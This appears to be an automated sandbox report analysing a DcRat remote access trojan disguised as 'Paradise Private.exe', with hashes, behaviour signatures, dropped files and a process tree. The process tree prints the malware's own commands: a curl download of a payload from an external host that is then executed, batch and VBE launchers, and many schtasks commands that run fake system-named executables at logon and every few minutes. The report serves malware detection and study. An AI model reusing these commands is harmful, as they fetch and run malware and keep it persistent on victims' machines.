Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    10-12-2024 11:15

General

  • Target

    Paradise Private.exe

  • Size

    855KB

  • MD5

    df367e723dc5759cdad30841910cd6af

  • SHA1

    eb6105e8f2462746108e94543e684c8d6a587dbb

  • SHA256

    a29663d874e5fba50215d6966591407d6c9d264371ec0e726bdf5a902cf11156

  • SHA512

    21f29b03a607ba8e3910ed27e802cf61db82dda0c1f3e9772127509dfd9eb7e81778463f47cbe4727116792eed83e11b91dc7fb72e455eb3b621201f9853dbb0

  • SSDEEP

    12288:KvGAa5J2tubG6rOH7Fso6veRSN2ff+zOe9egX7AlGXynGnIr9BqiXb1FP:KvGAMAubGeo60OegX7AoXyn6m7Vj

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe
    "C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3284
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:732
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
        3⤵
        • Drops file in Windows directory
        PID:3920
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:2112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3448
        • C:\Windows\Speech\client.exe
          C:\Windows\Speech\client.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe"
            4⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1456
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2740
              • C:\ComponentCrt\chainreviewwinrefSvc.exe
                "C:\ComponentCrt/chainreviewwinrefSvc.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4072
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\HETsrnRlyv.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3436
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:2216
                    • C:\Windows\system32\PING.EXE
                      ping -n 10 localhost
                      8⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:2068
                    • C:\Users\All Users\sihost.exe
                      "C:\Users\All Users\sihost.exe"
                      8⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4648
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c del C:\Windows\Speech\client.exe
          2⤵
            PID:1112
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\System.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1300
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1992
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1424
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\sihost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2328
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\All Users\sihost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4720
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\sihost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3420
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\dotnet\host\fxr\8.0.2\spoolsv.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2240
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\dotnet\host\fxr\8.0.2\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3636
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Program Files\dotnet\host\fxr\8.0.2\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2084
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\DESIGNER\wininit.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3580
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\wininit.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1536
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Program Files\Common Files\DESIGNER\wininit.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2840
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\ComponentCrt\winlogon.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2232
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\ComponentCrt\winlogon.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4980
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\ComponentCrt\winlogon.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:236
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 6 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3140
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvc" /sc ONLOGON /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2460
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 5 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:100

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat

          Filesize

          98B

          MD5

          4dafd9e9509ac96be6aa5baec659da4d

          SHA1

          a091552663ddea89536560f232b8339f318c9cbc

          SHA256

          0c53b640295abd25e8387957941e29f5c4e765376365409164ac39e3365a6ccf

          SHA512

          d290c162347e236e0e197c52afc4f4b33f1eba2498dfe2ad86c414c87ab70c9fbbd2132cd08bfb4137e8555a095ca9acb6675727a4a5f65ccc46141c16698132

        • C:\ComponentCrt\chainreviewwinrefSvc.exe

          Filesize

          1.8MB

          MD5

          11cca9e2c6dc9c2a728b89e7314ec26a

          SHA1

          58aec3b662a1c4e8b43cc454d90813ac89b5e612

          SHA256

          300072795259e7b2baa69a7a3d19ffea1844dffc391e710c654aa1b66b0e2197

          SHA512

          fb1fcff1c94e73b1227f65b237639e25604d614cfe365f2108bbbfdb489b97410fdc17411b8f00fc5b8f57d51080b4496010537a6a4ff9b15b7bdd24f89d0df7

        • C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe

          Filesize

          207B

          MD5

          b292d233456b16f26abc1aa07c9f5de0

          SHA1

          7b025705136101b5618d81d8ebf472335eebde43

          SHA256

          e75d13d4b079fafbd413fa8182c270f1f0f41b1b19b3469db12de226fed67b2d

          SHA512

          1c9c3846ab0e392dc6833de2a9238c91b6042b5095521196a3ceae8830edf7fb6d73118ed023b2e2daf287a48084fa8ee40241248a231cf668d5cc5e8f947ee4

        • C:\Users\Admin\AppData\Local\Temp\HETsrnRlyv.bat

          Filesize

          157B

          MD5

          3abedb657a43d8a141fa5884b387018b

          SHA1

          f4e9e9fff16126c10758c861fc22e54ad6a697a5

          SHA256

          aaecbd06eb59a5501dc2eeb057a4b68ca591c95d6e776eb77f4f8796e5e0d8f3

          SHA512

          ee5e92f5be01359df5cd4db17c71ca4f78935838baf06a5a3f9ed38b335987ebc9a7fdf88b93cad0c7439b412c40e3350ab1157e5c198a2d7958a746478073a3

        • C:\Windows\Speech\client.exe

          Filesize

          2.1MB

          MD5

          bf4f13d82d217ed69d80124c50d9441c

          SHA1

          b7ee7d109f61371342e924e6a0c3505347dd318f

          SHA256

          51890bfc6f223014ff16f4bfa6ace8e2d2ec3c81eb6965406813b9ca32b08508

          SHA512

          1ba17e55d6d1f6fda99daffe3f11f995d5e8434901b2aea9105728ccbff1b81727d96bf8811a62e8367fca0ec23bdea331165b001088b183281164269668d2f4

        • memory/4072-23-0x0000000003180000-0x000000000319C000-memory.dmp

          Filesize

          112KB

        • memory/4072-21-0x00000000017A0000-0x00000000017AE000-memory.dmp

          Filesize

          56KB

        • memory/4072-24-0x000000001BB10000-0x000000001BB60000-memory.dmp

          Filesize

          320KB

        • memory/4072-26-0x00000000031A0000-0x00000000031B8000-memory.dmp

          Filesize

          96KB

        • memory/4072-28-0x00000000017B0000-0x00000000017BC000-memory.dmp

          Filesize

          48KB

        • memory/4072-19-0x0000000000D80000-0x0000000000F5A000-memory.dmp

          Filesize

          1.9MB

        • memory/4072-43-0x000000001BBF0000-0x000000001BC99000-memory.dmp

          Filesize

          676KB

        • memory/4648-50-0x000000001BDC0000-0x000000001BEBF000-memory.dmp

          Filesize

          1020KB

        • memory/4648-51-0x000000001C400000-0x000000001C4A9000-memory.dmp

          Filesize

          676KB